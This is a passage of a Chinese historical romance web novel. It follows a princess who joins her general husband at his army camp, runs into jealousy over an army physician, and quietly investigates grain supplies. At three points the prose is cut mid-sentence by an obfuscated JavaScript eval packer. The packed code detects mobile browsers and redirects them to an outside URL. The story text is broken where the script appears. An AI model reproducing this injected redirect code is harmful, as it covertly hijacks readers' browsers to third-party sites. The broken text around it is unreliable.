她尽可能地放缓语气,扬起笑容,可皮肉相连,笑不及心,便显得格外僵硬,如是,已然有了些讽刺意味。 “我那边总能听到小贩的叫嚷声,实在扰人。”萧冽那副模样不像是在说瞎话,实在是格外严肃。 倘若赵初禾耳不能聪,她也许真信了,可偏偏不巧,她耳朵灵得很。 话音落地,外头传来阵阵吆喝,“桂花糕,刚出炉的桂花糕。” 这声响来得不是时候,赵初禾立马掀开车帘,探出脑袋向外瞧去,果真看到了“庆缘斋”三个大字。 至于她身旁这位,双耳微动,余光扫到了那长长的队伍。他伸手放下了锦帘,心中暗自思量,此地龙蛇混杂,还是速速离开得好。 眼前热闹的市井,忽而被金织鸾鸟所替,赵初禾更是咬紧了牙关,碾磨了几下,几乎称得上咬牙切齿。 “将军这又是做什么,看也不让看吗?” 若说她方才尚无意愿去买什么桂花糕,也对这种摩肩擦踵之地分外嫌弃,如今见萧冽这般,倒是燃起了她的兴趣。 “我不仅看,还要下去好好逛逛。”赵初禾眼里充斥着挑衅,仿佛前些日子在萧冽跟前柔弱轻泣的人不是她。“阿鸾,扶我下车。” 语落,赵初禾拎起裙摆,不甚优雅地起身,斜睨一眼身旁之人,欲越过他下车。 萧冽自然不愿,只是他手刚触及她披风一角,便霎时松了手。 也好,出去走走也是好事,在侯府这些日子,恐怕将初儿憋坏了。再者说……若是再拦着她,怕是更要厌烦他了。 紧跟左右,护好她便是了。 御街自紫渊宫一路向前,马车一路行来只听得见百姓之声,难见百姓其人,赵初禾鲜少出宫,方才也仅是远望。 走至人声鼎沸之处,景象繁多,从前听过的、没听过的,见过的、没见过的,全然映在眼前。 寻常百姓衣着粗陋,麻布糙硬,看着便觉着扎人,街巷间的女子步履轻快,几欲跑起来,妇人携着孩子购置珠钗,与摊主讨价还价。另一边一队官兵蜂拥而上,查封街边的一间铺面,原来里面竟是一间赌坊…… 人流自赵初禾之处一分为二,许是萧冽气焰太过嚇人,老幼妇孺皆躲得老远,不敢进犯。 赵初禾像是感觉不到似的,目光所及,皆觉着无比新鲜,霎时间,她仿佛忘却了这些日子的煎熬,游走于各处商铺之间。 不多时,萧冽双手挂满了大小包裹,臂弯间也不得空闲,赵初禾逛得尽兴,萧冽手中的物件越添越多,步履却依旧从容,未有半分的不愿。 方才寓于扫街的兴致之中,便不觉疲惫,可此刻赵初禾再也寻不着新奇物什,便瞬间累极。 不知为何,赵初禾出了侯府便仿佛没了顾及,也没有了虚与委蛇之态,不假思索,话语便吐露而出,“将军,你还要去军营吗?” “嗯,还有些事务没处理。” “能带初儿去吗?”其实说出来她便有了悔意,暗叫鲁莽,怎不等回府后讨好他一番再说。 赵初禾暗藏私心,她只是有些许挫败之感,又不是不查了,若是萧冽还是远在军营,她怎么查? 倒不如时刻跟着他。 只是如今,话说的不合时宜,萧冽怕是不能同意。 “不可,军规在先,不得携家眷入内。”果不其然,萧冽回绝,不留情面。 赵初禾神色恹恹,垂眸不语,良久,“将军,我们回府吧,只是临走前,你可愿替我买来桂花糕?” 除却不让她随去军营,萧冽一路表现得还不错,从未有过怨言,拿银子之时又格外爽快,赵初禾暂时被哄得开心,一时间也不跟他计较些什么。 若是斗不过他,先将他侯府的银钱花光,也算不亏吧。 实话讲,赵初禾也说不清此刻的心绪到底是喜是悲,出师不利,随着萧冽一同游乐,到底是个什么心境,连她自己也闹不清楚。 本以为萧冽能爽快答应,怎料他面露难色,立在原地,不肯挪步。 “将军不愿?” 萧冽吩咐了小厮将她采购的物件先送回侯府,双手背在身后,“不是不愿,只是留你一人在此,我不放心。” “能有什么危险,这里是京城。”赵初禾眼睛一亮,伸手指了指远处,“你看,巡卒马上就到此处,明明安全得很。” 见赵初禾如此坚持,萧冽迟疑着,叫过身边之人,“先护送公主回府。” “是。” 萧冽还是不放心,走出未有两步距离,扭着头往回看。 赵初禾给他这幅过于谨慎的样子扰得心烦,甚至伸手轻推,以表敦促。 萧冽只觉身后一凉,一步跨回赵初禾身侧,“我先送初儿回府,再来庆缘斋也不迟。” 她仰着头看着萧冽认真的模样,只觉无奈,“罢了……” 话音未落,倏忽之间,赵初禾只感到一阵风,“怎么……” 赵初禾侧过身,看到了一个破衣烂衫,头发花白,不足五尺的老妪,她口中不知咿咿呀呀说着什么,略显疯癫之态。 这般小事本不该惊动巡兵,可事态非常,领队的那个立马认出了将军,带着一行兵卒前来。 “将军恕罪,这婆子疯傻,冲撞了将军。” “无事。”萧冽转身,撂下二字便领着赵初禾回马车那处,他根本没心思怪罪谁,只想即刻将初儿送回侯府。 那老妇人根本不是要伤他,她是冲着初儿去的,只是他速度迅疾,根本没让任何人看出来。 只有他知道,老妪的目标是赵初禾。 “这就回去了吗?将军。”萧冽像是听不见一般,牵着赵初禾大步向前,不容拒绝。 “嗯,我不会忘记去买桂花糕的,你且放心。” 待二人重回马车之上,萧冽阖眼养神,唯留赵初禾心绪凌乱,不知发生了何事。 不就是个老妪吗?至于吗? 她也不理他,只觉他杯弓蛇影,许是战场上的人都是这般。 不过,赵初禾也觉着蹊跷,为何萧冽这般小题大做,莫非那老妇人真有什么问题? 行至侯府,萧冽先行下去,又搀着她下了马车,赵初禾还未站稳,只听萧冽开口,“给你家主子收拾些贴身用物。”这句话是对着阿鸾说的。 而后他转过头来,注视着赵初禾的双眼,“明日随我去军营。” 留下这一句话,萧冽转身踏过朱红大门,留下主仆二人,“怎么又同意了?不是有军规吗?” 赵初禾实在摸不清头脑,不知萧冽意欲何为,直至走回正院,坐于软塌之上,她才忽而想了个大概。 为何方才严词拒绝,待那老妪飞身扑过,便改了主意,他该不会以为,那个老妪是她派的吧! 实在是冤枉,这如何想也跟她没得干系,只是除却这个原因,她实在想不出,萧冽为何要将她带去军营。 “阿鸾,找到日间那位老婆婆的住处,派几个人多加监视。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393284|200341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她总觉惴惴不安,好像今日之事根本不是什么偶然。 吩咐阿鸾备置出行之物,她前去瞧了几眼,沐浴过后,时辰便已不早了,赵初禾独自躺于软塌,另一侧空空荡荡。 她将要阖眼,就瞧到远处圆桌上熟悉的油纸包,是桂花糕。 —— 翌日,檀木箱内盛满了赵初禾的家当,车队浩浩荡荡,堵住侯府正门。 “这……”萧冽欲言又止,抬头欲制止小厮搬箱之举,“将军,可是你同意我跟去的,连些东西也不让带吗?” “我并无此意,只是山路崎岖,东西繁多,恐生事端。”萧冽对上赵初禾的视线,口唇翕张,“罢了,我多带几个人手便是,初儿就是把侯府搬走,也使得。” 赵初禾这下才露出喜色,待装好最后一个木箱,她也被扶着上了马车。 萧冽足踏马镫,一手撑鞍,翻身上马,干脆利落。双腿一夹,方才还忿然不服的烈马便乖顺起来。 山路难走,阿鸾被安排和公主一同上了马车,萧冽勒马走在最前方,赵初禾掀开车帘,看向远处挺拔如松的背影,披风被寒风掀起,好不威风。 “唉……”赵初禾轻叹,引来阿鸾疑惑的目光,“公主,您怎的不高兴?是在担心老夫人的生辰宴吗?” “并非,生辰宴早已安排得差不多,方才我问过将军,我们此行也不过待个五日,回去我再落实一下事务,便也出不了什么差错。” “那您叹什么气?不想和将军日日待在一处吗?” 赵初禾抬手,指尖轻点对面之人的额头,“你这丫头,说了你也不懂。” 她只是在想,令他一见倾心之人,如今越发英气逼人,那个提着桂花糕向她笑着的少年郎君,怎么会是那般为了上位不择手段之人。 一路走来属实颠簸,也将她这些杂念尽数甩了出去,无暇想些什么别的东西。 他们抵达军营之时,天边落日将欲落下,车程漫长,赵初禾整个人也倦意浓浓,立马跟着一人走至营帐之前。 那人眉清目秀,长着一副好模样,小麦肤色,笑起来还有两处梨涡,“公主,这处是将军的营帐,将军早就让属下安排好了。” 见赵初禾没应声,还以为是还未自报家门,失了礼数,“属下失礼,在下名叫谢寻,是将军手下的副将,见过公主。” 阿鸾搀着自家公主,白了一眼对面的愣头小子,“没看公主身子不爽利吗?还不快引公主进去。” 谢寻面露惊色,连忙挑起帐帘,“公主您保重身体,有需要您尽管吩咐,属下先行告退。” 赵初禾终于得以歇息,她也是头一次知道,山路如此险峻,她的身子竟这般不争气。 “阿鸾,你可有不适?”见阿鸾还蹲在一处收拾她的用物,更是纳闷,难道只有她一人受不了吗? “公主,阿鸾自幼习武,这点小事算不了什么。”说话间她的动作没有停下来过,但也听到了赵初禾不小的一声轻叹。 “公主莫要难过,我们这些粗人只是习惯了这些,要是比琴棋书画,谁也比不过您呀。”阿鸾见自家公主分外受挫的模样,忍不住劝慰道。 “嗯,就你会安慰我。” 休息片刻,赵初禾不适之感稍缓,便带着阿鸾外出走走,帐外林风沁脾,清气袭人。 这下她也精神稍振,欲去寻萧冽,按说他该在主帅营帐。怎么偏偏不见踪影,想来是她居于主帐,便将议事之处换了地方。 夕阳西下,赵初禾立于帐外,看着一女子背着箩筐,逆着斜阳,一袭白衣,面纱轻轻飘扬,一缕发丝轻贴于颊边。 她越走越近,眉目清浅,肌肤莹白,不施粉黛,清冷无比。 “江姑娘回来了,今日得了什么草药啊?”一边的兵卒笑着问询,十分熟稔的模样。 那女子弯了弯眼睛,轻笑了一声,用不大不小的声音说道,“今日收获颇丰,竟得了三七,一会儿就给弟兄们上药。” 那一幕实在太过和谐,再看自己一身华服,端立于此,竟让赵初禾觉着,自己就是个外人,是这军营中的,不速之客。 12. 黄沙·情系戎行 落日余晖洒在红衣锦裙之上,红得更艳,在这片黄沙尘土之中,格格不入。 那白衣女子并未看到她们,同小兵说过话便转到一侧,“阿鸾,去瞧瞧那是何处?” 阿鸾得令,即刻迈步探听。 “那是医帐,她是营内的军医副手,江念儿。”阿鸾和赵初禾皆被一道声线引得回首,是谢寻。 “末将参见公主,公主想知道什么,尽管问我。”谢寻弯腰躬身,抱拳拱手,说话时,眼睛不敢乱飘,死盯着沙地,待赵初禾开口才直起身子。 “军营内,怎么会有这般年岁的女子?”赵初禾终于还是问出心中所思,直觉告知她,白衣女子绝非等闲之辈。 谢寻所言也应了她心中所想,白衣女医名为江念儿,母亲早逝,自幼便在军营中长大,前些年他父亲中箭身亡,孤女无依,又恰好习得医理,一来二去,也就成了营中的一员。 赵初禾对此女身世颇有慨叹,便有意再遇这位不同凡响的女子,若说这算是赵初禾心中所愿,那实现的也太快了些。 谢寻同她三言两语讲清了江念儿的来历,便先行请辞,去了校场练兵。 没走出几步,赵初禾眉头皱起,丝帕掩住口鼻,她闻见了不算太好的气味,便无甚闲逛之意趣,回到了主营。 方才她身子不适,便也未曾顾及。虽说是主帅营帐,可四下的物件实在说不上好,先别说昭阳殿,怕是连一般人家的陈设也比不上。 不过,也不算太陌生,因为这帐内……尽是松香之气。 “民女江念儿,奉将军之命,为公主送来膳食,恳请公主允准入内。” 是她,方才那位女医。 “快请进。”赵初禾眼眸亮了一瞬,脸上染了喜色,只是笑意并未维持太久。 得了恩准,江念儿不急不缓地走入帐内,带来一阵草药之香气,还夹杂着……方才在外头闻见的气味。 赵初禾实在说不上来这是什么,只是再度皱起眉梢,拿着绢帕向外指,“这是什么东西,快快拿出去!” 许是她的反应太大,江念儿面色也变得不算太好,“回公主殿下,这是野菜羹,里头混了最后一些精米,已经是营内最好的膳食了。” 话落,木盘也被她搁置在矮桌之上,屈膝半蹲,双手交叠于身侧,赵初禾看不出问题,可却总觉着江念儿脊背挺的太直,总是少了些恭敬。 “这便是你给我拿来的膳食?你竟敢让我吃这种东西?” 不怪赵初禾惊异,无论是皇宫还是侯府,就算是下人也不会吃这般食物。 遑论那膳食还散发着难以言说的气味,在她看来,这女医便是胆大包天,有意怠慢于她。 赵初禾的眸子早已燃起了怒意,可江念儿似是看不到一般,只是微微垂首,维持着那个屈膝的动作。 还未待她发作,帐帘先一步被掀开,来人身穿窄袖戎装,气焰冷肃,“你先下去。” 赵初禾自然不会认为是在同她言语,目光转至江念儿身上,带有不小的威慑意味。 “是我疏忽了,这确实是营中最拿得出手的膳食。”赵初禾倒是不会认为他们二人合起来诓骗于她,不过还是忍不住有疑。 父皇大把大把的银两投向军机,怎会让将士们吃这种东西? “你们行军打仗,就吃些这个?”萧冽坐在她对面,并未直接回应,清了清喉咙,说道,“明日我便差人去镇上买些像样的吃食,今日只好委屈你了。” 赵初禾见萧冽不回答,心中暗道,“莫非他是心虚?萧冽克扣了军饷?不然军营怎么会连粳米都拿不出来?” “罢了罢了,我如今也没什么胃口,既然营中众人皆以此为食,便不要为我开这先河。” “可是路上受累了?怪我,早知如此便不该带你来此受罪。”他确实心急了,想着只要初儿在他的视线范围内便不会有什么差错,可是,这本来就不是她该来的地方。 “将军如此,便是小看了初儿,同为女子,江念儿待得,我如何待不得?”赵初禾看萧冽不知在思索些什么,脸色一会儿白一会儿青,总归不是什么好事,便没由来的不悦。 “这不一样。” “如何不同?”说这话时,她的声音变得锐利,好容易制止住自己的手,没拍在石桌上。 “她自幼在军营长大,凡事她皆适应,人人她都熟络,而你不同。” 萧冽说到这里便收了声,不过赵初禾也晓得他欲说什么。 确实不同,赵初禾自幼在父皇的呵护下,未曾见过风雨。正如其名,“初禾”之意,便是教世人呵护,此生无虞。 故而,她确实无从反驳,却也不想败了气势,“我不管,是你带我来的,总不能反悔吧?” “初儿愿留,我自然顺你的心意,如若实在艰辛,万不要强撑。” “知道了知道了,顶天也就是五日,何至于受不住?再说,阿鸾也带了一些吃食,将军放心好了。” “既如此,也好,我便先去处理营中事务,傍晚我再前来陪你。” 萧冽再次给她留下一个背影,连同话术也是全然相似,父皇也是如此。 —— 夜色如墨,橙红的火舌吞噬着黑幕,木柴噼啪作响,众将士们圈坐在篝火边,人影被拉的很长,冷月被众人之声所暖。 外面比帐内还要亮,赵初禾从未听过如此粗犷不雅之声,一阵接着一阵,此起彼伏,永不停歇,若是太傅在此,定要说他们不堪,登不得大雅之堂。 可她知道,大雍的江山,便是这群“不堪”之人守护的,如此一来,便也没了脾气。 只是她未想到,帐帘微动,萧冽探出身子,向她勾手,“初儿可愿前来?” 她是公主,如何能参加那样的活动?至少……至少得有个像样的坐席吧…… 赵初禾心里敲鼓,做出了违背她十几年原则的决定,走向萧冽,伸出了手。 外头的空气很暖,夹杂着山林的独有气息,令赵初禾不禁深吸了口气,分外舒适。 待回过神,她已和萧冽一同,站在了人群之中。赵初禾侧过身子,抬手拢在口唇,压低了声音跟萧冽说道,“他们每日吃那种东西,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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次次皆是萧冽给她甩下几句莫须有的话语,让她苦思冥想,如今也让他好好思量一番。 昨日回府,萧冽一放下带她走的话,她便安排阿鸾去采买,虽说多有周折,但好在有钱能使鬼推磨。 至于众多木箱,他真以为她会如此不懂事,随行携带那么多无用的行李? “你哪来的银钱?”他连忙追问,似是十分忧虑。 “自然是私库,不然拿你们侯府的银子吗?” “万万不可,回侯府我便给你补上。” 赵初禾见他的神色都太过认真,又不好反驳,“回头再说,你看将士们多开心。” 这下两人在一同向对面看去,方才那几个少年好像更欢喜,口中喊着“公主威武”,另一头,老将也连连露出赞许之色,就连最角落一直没说话的独眼将士,也到赵初禾跟前,抱拳躬身道谢。 本该入寒冬,这下军营中热火朝天,简直是第二春。 13. 朔风·孤心暗涩 天迷蒙微亮,晨雾如轻纱般笼着黄沙,将天地晕染得一片朦胧,远处的营帐叫人看不清轮廓,一声号角刺破寂静,嘹亮非常,震得帘布簌簌发颤,一声接着一声,在空旷的营地上空回荡,唤醒了沉睡的军营。 赵初禾尚在浅眠中,睡眼惺忪,睫毛轻颤,被这突如其来的声响吓得身子一抖,下意识翻过身,手探向身侧的锦褥,触到的却只有一片冰凉。 她不知萧冽是何时走的,其实也不知道他是何时来的。 只是夜半借着月光,窥见了熟悉的身影,明明赵初禾入睡时他还未曾回来,也不知他是如何轻手轻脚地上了塌,她竟没有察觉。 “公主,外头是将士们在校场操练呢,您可要起身?”阿鸾双手交叠置于小腹,行至塌前,头也不敢抬,要知道,公主最不喜人扰她入眠,这可如何是好。 阿鸾最后半句话,堪堪被外头将士们喊杀操练之声盖了过去,模糊不清。赵初禾缓缓坐起身,长发披散在肩头,带着晨起的慵懒,单手掩住口唇,轻轻微欠,眉尖微蹙,声音还带着刚醒的沙哑:“伺候我更衣吧。” 公主怎的没发火?这才卯时一刻,若是平日这个时辰叫公主起身,必定得挨一顿板子,今儿是怎么了? 阿鸾那点小心思瞒不过她,赵初禾眼睛一转,冲着阿鸾说,“怎么还不过来?是想挨板子了?” 赵初禾尚未看清小丫头的动作,阿鸾的指尖就搭在青丝之上,“公主,您今儿戴哪个珠钗?是这个珍珠的,还是这个翡翠的?” “翡……”赵初禾刚吐出一个字,望向远处的黄沙,语气淡了淡,“罢了,一切从简,在营中不宜太过招摇,待会儿将我那件玄黑劲装拿来。” “是。” 几番强撑眼皮无果,妆奁前的她当真困极,可昨日她早已在众人面前宣扬,她此番前来不仅是将军之妻,更是有意慰问,安稳军心。 倘若日上三竿还不曾起身,倒真是毫无说服力,怕是连昨日的三千薄礼也要化作浮云。 无论如何也得撑住。 可思来想去,赵初禾到底是托着下颌,闭目小憩,“殿下,膳食奉命备好,民女江念儿,求见公主殿下。” “不是说了不必往这处送膳了吗?”她倦怠地半眯缝着眼,“罢了,宣她进来。” 赵初禾未睁眼,只闻及盘托碰撞石桌的声响,除此之外,便唯有从远处传来的刀剑碰撞之声。 而这帐内,安静非常。 送膳之人不曾言语,等待发落,而这番样子,令她大抵猜到来者何人,赵初禾便有了些兴味。 阿鸾也刚好将最后一缕发丝绾好,赵初禾单手撑案,站起身来。 果然是她,除却萧冽,她从未见过有人在她面前如此惜字如金。 那样子不像是惧,也并非是敬,只是将她当作了一个无关紧要之人,赵初禾从未见过如此有胆识之人。 她走近江念儿身侧,目光上下打量一番,“昨日我那般待你,你怎么还敢前来送膳,就不怕我再度迁怒于你?” “昨日殿下动怒是情理之中,膳食按时送至各处乃民女分内之事,不敢耽搁。”江念儿垂眸,柔声答道。 “哦?你倒是会体谅人。”赵初禾一哂,而后又像是想起了什么,“各处?你还给谁送膳?” “回殿下,将军、副将和参军,有时还会给医营里行动不便的将士单拿一些饭菜。” 闻言,赵初禾眼神格外清亮,“将军也吃……”她用指尖指向桌上的餐食,一时不知如何称谓,半天憋出一句,“将军也吃这个米汤吗?” “是,军营上下,一视同仁。” 对面的白衣女子语毕,赵初禾细细瞧去,见她语无迟疑,面无慌意,大概说的不是假话。 赵初禾问出她想知晓的,也没什么意愿同这个木头美人交谈,“退下吧。” “是。” 江念儿踱步出了营帐,漆眸中尽显空洞,指尖扒紧木托的边缘,向外深吐了一口浊气,只觉眼眶突突直跳,“将军……” 玄黑织金窄袖劲装上身,令她周身多了些英姿飒爽,仅简略勾摹了墨色的眉,一张雪白的小脸格外出挑,好像真有几分女将气度。 赵初禾便是这样去寻的萧冽,阿鸾将军营各处探听了个大概,欲至校场并非难事。 不巧的是,阿鸾被她遣走了,以知悉京城内的动向。 至于校场内的操练之声也渐渐淡去,依靠声响寻路也无果,公主殿下便如此失了方向。 行至一处,里面炊烟袅袅,弥散出浓浓的草药香气,赵初禾将欲抬腿,便听到里面传来的声响。 “江姑娘真是心系将军,每至入冬都会给将军熬这汤药。” “是啊,听说是将军年少行军留下的病痛,一到寒冬就浑身疼痛难忍。” “唉,要是也有人这么想着我就好了。” “你?你想得美!” 话语声被掷物之声掩盖,里头的两个杂役年岁不大,惯喜谈论些军中杂事,说到兴头上便在里面闹了起来。 赵初禾无意去管,只是他们二人的话令她有些不是滋味。 萧冽……竟有这般旧疾,她竟全然不知,为何江念儿次次为他熬汤? 他和江念儿如此亲近? 赵初禾立于沙地之上,猛地摇了摇头,欲将这些念头甩出去,“谁给他熬药跟我有什么关系?不过回到侯府确实可以借汤药之机多亲多近。” 不过……这江念儿又是送药,又是送膳的,是不是……太过殷勤。 无事献殷勤,非奸即盗,这事儿她熟啊,这江念儿图什么? 她想得入了神,并未发觉有何异样,也未察觉到身边的动静,只见那杂役端着滚烫的汤锅,脚下一滑,竟直冲她来了。 赵初禾自然是能避开的,可不知怎的,她一闪身,抓住了他的手臂,出手相助,令那小杂役稳住了身形。 “小心!” 与此同时,一道女声自一边传来,赵初禾循声看去,是江念儿,她在一旁目睹了一切,一时情急,出声提醒,竟忘记了叫“殿下”。 赵初禾的衣裙被烫坏了纹路,手腕也被蹭了一下,泛起了红痕。 男子被吓得跪在了地上,他的同伴也出了营帐一同求殿下宽恕。 “殿下恕罪!殿下恕罪!小人绝不是有意的!” “饶了他吧!殿下!他是新来的,本应该是我把汤药端出去!您罚我吧!” 二人你一言我一语,声音里带着哭腔,慌作一团,最后双双跪倒在地,高呼“殿下饶命”。 这时江念儿已然提着药箱赶来,眼神扫过了地上之人,握着提篮的手抓得更紧。 她久闻公主殿下大名,便也知晓她做事不顾礼法,全然凭心,如若惹了她,连当今圣上也没辙。 故而,她当真替他们捏了一把汗。 赵初禾许久未曾言语,其实是早被烫得说不出话,手上的疼痛之感阵阵,地上还跪着两个人吵得她心烦,那个女医手上拿着的好像是药箱,还迟迟不来给她上药。 真是令人心烦。 江念儿见公主殿下还是不出声,一手撩起了裙沿,准备替他们求情。 “笨手笨 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由此,萧冽的注意力全然转移到赵初禾身上,“总是这样不小心,真该时时刻刻将你带到身边。这不,稍有不慎便伤了自己,日后万不能再来这种危险之处。” “知道了知道了,我到哪里你都要管。” 江念儿正涂着最后一层药膏,周遭的声音仿佛置若罔闻。 并非如此,每一个字都钻进她的耳中,将军语气中的柔情遮也遮不住,纵使是在军营近十年,她也未曾听过将军对谁这么说话。 他哪里是什么铁面将军,只是将柔情给了一人。 江念儿只觉心中酸涩,一不小心便用多了力气。 “嘶。”赵初禾倒吸一口冷气,江念儿见状,凑近了伤口,轻轻吹拂。不过这也晚了,萧冽皱紧眉头,“你小心些。” “是。” 江念儿行医多年,从未觉着如此简单的伤口能令她如此煎熬,随着最后一点药涂好,她浑身才放松下来。 “好了,七天内伤处不要碰水,每日我都会前来给殿下换药。” “下去吧。” “是。” 江念儿收拾好药箱,转身离去,白衣背影更显孤寂,身后还传来将军和公主的声音。 “是我不好,又让你伤到了。” “这算什么,只是可惜了我这一身衣服,你要是实在过意不去,就赔我件衣裳吧。” “好好好,赔,赔多少件都使得。” “这还差不多。” 她没敢再听后面的话,加快了脚步离去,带起阵阵黄沙。 江念儿回到军医帐,将手中的药膏一一归位,神色与平时无异,只是心中波涛汹涌。 公主殿下不似传言那般骄纵跋扈,倒是嘴硬心软,十分可爱,是她从前轻信了传言。 从前她竟还会在日复一日的接触中,肖想将军对她有情意,可如今见过他见到心爱之人的模样,便也明晰了自己的身份。 将军对她,跟旁人并无差别。 “江姑娘,你这个药摆错了,是有什么心事吗?你可从来不会出这样的差错。” “抱歉,是我方才看错了。”江念儿拿过那个膏药,正是方才上药的那瓶,瓶身残存着她的体温,提醒着刚刚的一幕幕。 这不该有的爱慕之意,该当何去何从…… 黄沙依旧漫天飞扬,落在白衣之上,又好像落在了心尖之上,令她喘不过气来。 14. 蛇惊·休书寒语 主帐内。 “明明是有人伤了你,为何瞒我?”萧冽坐于一旁,看着赵初禾手腕上一抹红,像是被烫到了般移开双眼,明明见过无数触目惊心的伤口,可唯独这一处,令他心口直疼。 他笨拙地向伤处呼气,“方才人多,我不好多问,这下你总能告知于我了吧。” 赵初禾不自然地抽出了手,将伤到的手藏在身后,也不知是心虚,还是被他方才的举动惹得有些难为情,手腕痒痒的,连同说话也支支吾吾的,“还能因为什么?我心情好,自然也就原谅了他。” 只是在对上萧冽那双眼睛之际,赵初禾又换了说法,她被他盯得发毛,“我昨夜将话说得那般好听,若是连这点小事也计较,岂不是失了气量,显得将军夫……” “将军什么?初儿怎得不说了?”萧冽只一瞬便闪身至她身侧,“没……没什么,我是说怕让营中的弟兄们小看了我。” 旖旎氛围霎时消散,萧冽被她的话惹得发笑,露出两颗虎牙,忍不住逗弄于她,“弟兄们?你这是跟谁学的?” 赵初禾也知有些许违和,那也是只能由她来说,万万不能让他人取笑于她,“自然是跟营内之人学的,怎么?他们说得,本宫便说不得?江念儿也是这般说的啊。” 她气鼓鼓地插起腰,墨色劲装早已换下,月白锦衣被撑起来的双臂牵连出阵阵微波,格外好看。 “江念儿?怎么又是她?初禾和他很熟络吗?” “论起熟络,自然比不过将军,听闻江姑娘入冬后日日为将军炖药,真是好生贴心,初儿惭愧。” 赵初禾借着方才的话头,一股脑地将心里话全然说了出来,她自觉扳回一城,却不料想话语间沾染了酸味儿。 “是何人背地里嚼舌根,江念儿是医帐的副手,精通药理,营中将士凡是伤痛,皆多由她照料,并非单单为我。”萧冽的薄唇抿成了一字,面色不算太好。 营中有规,不可聚语喧闹,不可妄谈私事,更何况在背后议论主帅之事。 真是好大的胆子。 萧冽懊恼营中何时如此散漫,赵初禾言语中的阴阳怪气全然打在了棉花上。 自然,那明显的不能再明显的醋意,也没被发现。 “初儿,我这就去查,绝不能让营内如此乌烟瘴气。” 赵初禾见萧冽又要走,连忙拽住了他的衣角,动作不免牵扯到了伤处。 她倒吸一口凉气,“我能去吗?一人在此实在无聊。” 萧冽先是接过赵初禾的手,又腾出一只手轻抚她的发顶,“是我不好,冷落了初儿。” 这便是默许了,赵初禾雀跃地跟在身后,心中忍不住欢呼,“这种地方也让我去,看我不好好查你。” —— 只是兴奋之感并未持续多久,挫败感再度占领上风。 她跟着萧冽来到处理军务之处,长桌上布满密密麻麻的薄纸,赵初禾就坐在一旁,可除却一些看不懂的图纸,便也没看到什么她想要的。 也是,他怎么可能这么大意地将她放进来,定是将有问题的东西都藏好了。 赵初禾不懂军务,可她也知晓军中粮草乃是重中之重,绝不可能出现短缺,便从这里开始查。 她眼睛一转,同时听见身边之人的轻叹,“如何?将军可是有什么忧心之事?” 赵初禾自然的起身,行至身后,指尖触及萧冽硬挺的肩,不轻不重的揉捏了起来。 这个角度,纸上的字一览无遗。 “可要初儿为将军排忧解难?”赵初禾嘴上不敢停,唯恐萧冽发现什么端倪,双眼正飞速扫过他手中的信件。 看到了!粮草! “报!谢副将求见!” “让他进来。” 谢寻身穿玄甲,周身散发着严肃和恭敬,和她印象中的副将大相径庭。 明明是个话多的,怎么到了萧冽这里像老鼠见了猫。 “启禀将军,营中发现……”谢寻不敢抬头,只是用余光撇见将军身边站着一个人,不用猜也知道是谁, 他深知将军极为信赖公主,凡事也不瞒着公主,甚至公主将侯府里里外外的人都换了一遍,将军也由着她。 可他还是觉着,接下来的话,公主听不得。 “如何?说便是了。”萧冽的反应和谢寻想象中的一样,倒是赵初禾先一步开口,“既然将军和副将有要事,初儿便不打扰了,先行告退。” 赵初禾听着背后越来越小的声音,心中不免暗自思量,粮草……究竟是怎么一回事? 这边,阿鸾见公主出了营帐,也快步跟了上来,又在一处没人的角落,低声耳语,“公主,户部尚书应了老夫人的生辰宴。” “此话当真?”赵初禾那双含水的眼眸而今淬上了惊喜,更显的透亮非常,阿鸾见公主高兴,也连忙应答,“千真万确!” 她怎么忘了,户部尚书,不正是掌管粮草之人吗? 若是她能在萧冽这查到蛛丝马迹,便是好事一桩,如若再次有些什么差错,便只能将希望寄托于郑大人身上了。 赵初禾和阿鸾移步至后营,在萧冽那里待了太久,竟到了营中晚膳的时刻。 赵初禾不想引起什么骚动,便也没有走在众人眼前,在不远处看着营中热闹的场面,甚至欣慰的笑了。 只是粮草之事尚未解决,赵初禾无心耽搁,正当她要离开此处,身后传来了兵卒的声音。 “公主千金之躯,怎么来咱们军营了?” “还能因为啥?要我说,肯定是宣示主权了。” “啥主权?” “江姑娘啊,她对将军可是一往情深。” “我知道啊,那有啥用,将军又不喜欢她,还能娶她?” “害,这你就不知道了吧。” 对话戛然而止,说话的小兵喝着热汤,故作神秘的停了,另一个人连忙扒开陶碗,“你别喝了,快说啊!” 这人应该是好奇地发紧,决意要听到后话,可阿鸾不敢听了,“公主,咱们回去吧……阿鸾给您烧的热水快凉了……” 赵初禾手肘戳了一下阿鸾,警告她莫要再出声。 随着一口热汤入喉,小兵终于开口,“这事儿,其实大家伙都知道,江姑娘她爹,救过将军的命。” “真的假的?” “那还能有假,要我说,将军就该把江姑娘娶了,这不美事一……” 赵初禾听得入神,不知为何二人突然噤声,她指尖攥着裘衣边角,悄悄探出头来探个究竟。 “将军饶命!” “我再也不敢了!” 陶碗掉落在黄沙之中,一旁的篝火被二人磕头之举惊动的摆来摆去。 萧冽置若罔闻,开口说道,“拉下去,军规处置。” 赵初禾初次见识到萧冽如此冷酷的模样,也有些慌乱,也顾不及方才对话的内容,拔腿就走,怎料萧冽先一步向她走来。 赵初禾转身逃走了,身后传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 